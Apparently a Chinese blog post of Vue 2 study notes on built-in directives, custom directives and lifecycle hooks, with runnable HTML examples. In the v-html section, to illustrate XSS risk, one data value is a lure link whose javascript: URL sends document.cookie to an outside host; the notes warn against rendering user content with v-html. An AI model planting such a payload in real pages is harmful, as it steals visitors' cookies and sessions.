Vue学习笔记(四)

1,647 阅读5分钟

vue核心(续)

2.16内置指令

v-text指令

我们学过的指令:
        v-bind	: 单向绑定解析表达式, 可简写为 :xxx
        v-model	: 双向数据绑定
        v-for  	: 遍历数组/对象/字符串
        v-on   	: 绑定事件监听, 可简写为@
        v-if 	: 条件渲染(动态控制节点是否存存在)
        v-else 	: 条件渲染(动态控制节点是否存存在)
        v-show 	: 条件渲染 (动态控制节点是否展示)
        v-text指令:
            1.作用:向其所在的节点中渲染文本内容,放入标签则也会被当成文本解析
            2.与插值语法的区别:v-text会替换掉节点中的内容,你原来的内容会被代替,
            无法与原来的内容一起出现,{{xx}}则可以。
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>v-text指令</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<div>你好,{{name}}</div>        //  你好,尚硅谷
		<div v-text="name">你好,</div> //   尚硅谷
		<div v-text="str"></div>       //   <h3>你好啊</h3>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			str: '<h3>你好啊!</h3>'
		}
	})
</script>
</html>

v-html指令

前置知识:cookie:

image.png

image.png

image.png

	v-html指令:
		1.作用:向指定节点中渲染包含html结构的内容。 更新元素的 innerHTML。注意:内容
                按普通 HTML 插入 , 不会作为 Vue 模板进行编译。如果试图使用 v-html 组合模板,可
                以重新考虑是否通过使用组件来替代。
		2.与插值语法的区别:
			(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
			(2).v-html可以识别html结构,与v-text不同。
		3.严重注意:v-html有安全性问题!!!!
			(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
			(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>v-html指令</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<div>你好,{{name}}</div>
		<div v-html="str"></div>
		<div v-html="str2"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			str: '<h3>你好啊!</h3>',
			str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
		}
	})
</script>
</html>

v-cloak指令

	v-cloak指令(没有值):
        1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
        2.使用css配合v-cloak可以解决网速慢时页面展示出模板{{xxx}}的问题。

script引入的是我自制的server,作用是5s后script标签加载成功,注意script标签的的引入位置,是先执行html模板,5s后渲染页面{{name}}变为尚硅谷,想让{{name}}在5s内隐藏,不显示在页面中,script标签加载成功后直接出现尚硅谷,用v-cloak。

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>v-cloak指令</title>
	<style>
		[v-cloak] {
			display: none;
		}
	</style>
	<!-- 引入Vue -->
</head>

<body>
	<div id="root">
		<h2 v-cloak>{{name}}</h2>
	</div>
	<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>

<script type="text/javascript">
	console.log(1)
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷'
		}
	})
</script>
</html>

v-once指令

	v-once指令:
            1.v-once所在节点及其子节点在初次动态渲染后,就视为静态内容了。
            2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

v-pre指令

用于vue性能优化

         v-pre指令:
		1.跳过其所在节点及其子节点的编译过程。
		2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

2.17自定义指令

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
	自定义指令总结:
		一、定义语法:
		(1).局部指令:
	 new Vue({					 new Vue({
		directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
	}) 				                 })
		(2).全局指令:
		Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)
                
                二、配置对象中常用的3个回调:
			(1).bind:指令与元素成功绑定时调用。
			(2).inserted:指令所在元素被插入页面时调用。
			(3).update:指令所在模板结构被重新解析时调用。

		三、备注:
                    1.指令定义时不加v-,但使用时要加v-;
                    2.指令名如果是多个单词,要使用kebab-case命名方式,别忘了加"",不要用camelCase命名。
                    3.所有指令相关的this都是window
                    4.采用回调函数写法相当于配置对象写法的bind+update
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>自定义指令</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>{{name}}</h2>
		<h2>当前的n值是:<span v-text="n"></span> </h2>
		<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
		<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
		<hr />
		<input type="text" v-fbind:value="n">
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	//定义全局指令
	/* Vue.directive('fbind',{
		//指令与元素成功绑定时(一上来)
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	})
	Vue.directive('big',function(element, binding) { //两个参数:当前DOM元素(span),本次绑定的所有信息
				console.log(element, binding)
				// console.log('big', this) 
				//注意此处的this是window
				element.innerText = binding.value * 10
			},)
 */
	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			n: 1
		},
		directives: {

			//指令名如果是多个单词,别忘了加"",方法内部放的是"key",value值,大部分情况""可省略,但加了-之后引号必须带。
			// 全写是: 'big-number':function(element,binding){} 
			/* 'big-number'(element,binding){
				// console.log('big')
				element.innerText = binding.value * 10
			}, */

			// big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
			big(element, binding) { //两个参数:当前DOM元素(span),本次绑定的所有信息
				console.log(element, binding)
				// console.log('big', this) 
				//注意此处的this是window
				element.innerText = binding.value * 10
			},
			fbind: {
				//指令与元素成功绑定时(一上来)调用,但元素尚未放入页面
				bind(element, binding) {//两个参数:当前DOM元素(input),本次绑定的所有信息
					element.value = binding.value
				},
				//指令所在元素被插入页面时调用
				inserted(element, binding) {
					element.focus()
					// input输入框自动获取焦点,这句代码必须放在将input放入页面的后面
				},
				//指令所在的模板被重新解析时调用
				update(element, binding) {
					element.value = binding.value
					element.focus()
				}
			}
		}
	})

</script>

</html>

2.18生命周期

image.png

引出生命周期

下方代码如果将定时器放入methods会出错

	生命周期:
		1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
		2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
		3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
		4.生命周期函数中的this指向是vm 或 组件实例对象。这意味着你不能使用箭头函数来定
                义一个生命周期方法 (例如 created: () => this.fetchTodos())。
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>引出生命周期</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>				
	<!-- 准备好一个容器-->
		<div id="root">
		<h2 :style="{opacity:opacity}">欢迎学习Vue</h2>
		<button @click="opacity = 1">透明度设置为1</button>
		<button @click="stop">点我停止变换</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			opacity: 1
		},
		methods: {
			stop() {
				this.$destroy()
			}
		},
            //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted(挂载),只是初始
            //化的时候调用了一次,后续数据更改重新解析模板时不会再次调用
		mounted() {
			console.log('mounted', this)
			this.timer = setInterval(() => {
				// 这里箭头函数无this,自动寻找上下文this,找到了mounted()的this,这个this指向vm
				console.log('setInterval')
				this.opacity -= 0.01
				if (this.opacity <= 0) this.opacity = 1
			}, 16)
		},
		beforeDestroy() {
			console.log('vm即将被销毁')
			clearInterval(this.timer)
			// 清除定时器
		},
	})

	//通过外部的定时器实现(不推荐)
	// setInterval(() => {
	// 	vm.opacity -= 0.01
	// 	if (vm.opacity <= 0) { vm.opacity = 1 }
	// }, 16)
</script>
</html>

分析生命周期

生命周期的流程,配合上方图片食用,最好把代码依次解开注释运行一遍

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>分析生命周期</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root" :x="n">
		<h2 v-text="n"></h2>
		<h2>当前的n值是:{{n}}</h2>
		<button @click="add">点我n+1</button>
		<button @click="bye">点我销毁vm</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		// template: `
		// 	<div>
		// 		<h2>当前的n值是:{{n}}</h2>
		// 		<button @click="add">点我n+1</button>
		// 	</div>
		// `,
		//使用template模板,容器内就不用放入内容了,不过template模板解析的时候会将外面的root容器给覆盖掉。
		// 而且template模板只能有一个根元素,所以必须用div 将h2与button包裹起来,否则报错
		data: {
			n: 1
		},
		methods: {
			add() {
				console.log('add')
				this.n++
			},
			bye() {
				console.log('bye')
				this.$destroy()
				// 调用销毁函数,但之前的工作成果还在,只是以后不能管理了
			}
		},
		watch: {
			n() {
				console.log('n变了')
			}
		},
		beforeCreate() { //看图:这里是指数据代理和数据监测创建之前,不是vm
			console.log('beforeCreate')
			// console.log(this);
			// debugger
			// 此时打开控制台可以看到data中无数据,无methods方法
		},
		created() {
			console.log('created')
			// console.log(this);
			// debugger
			// 此时打开控制台可以看到data中有数据,有add,bye方法
		},
		beforeMount() {
			console.log('beforeMount')
			// console.log(this);
			// debugger
			// 元素都加载完成(未经编译),但还没有挂载上去,HTML的body结构里呈现的依然是模板
			// 在这里面操作DOM白操作,最终会被虚拟dom转换成的真实dom覆盖掉
		},
		mounted() {
			console.log('mounted')
			// console.log(this);
			// debugger
			// 元素都加载完成(编译完成),已经挂载上去了,HTML的body结构里呈现的你想让他呈现的样子
			// 在这里面操作DOM有效,但不推荐
		},
		beforeUpdate() {
			console.log('beforeUpdate')
			// console.log(this.n);
			// debugger
			// 更新数据时调用,数据为新的,但页面还是旧的,尚未更新
		},
		updated() {
			console.log('updated')
			// console.log(this.n);
			// debugger
			// 数据为新的,但页面也是新的,数据与页面保持同步
		},
		beforeDestroy() {
			console.log('beforeDestroy')
			// console.log(this.n);
			// this.add()
			// debugger
                        //销毁阶段触发
			// 点击销毁vm,能打印出n,调用了add方法,但页面不再更新,即到了这个阶段,
                        //能够访问到数据,调用方法, 但所有对数据的修改不会再触发更新了。
			// 此时vm中的data methods 指令等都处于可用状态,马上要执行销毁过程,
			// 一般在此阶段:关闭定时器,取消订阅消息,解绑自定义事件等收尾操作

		},
		destroyed() {
                         //销毁阶段触发
			console.log('destroyed')
		},
	})
	// vm.$mount("#root")
</script>

</html>

生命周期总结

常用的生命周期钩子:
	1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
	2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例
	1.销毁后借助Vue开发者工具看不到任何信息。
	2.销毁后自定义事件会失效,但原生DOM事件依然有效。
	3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。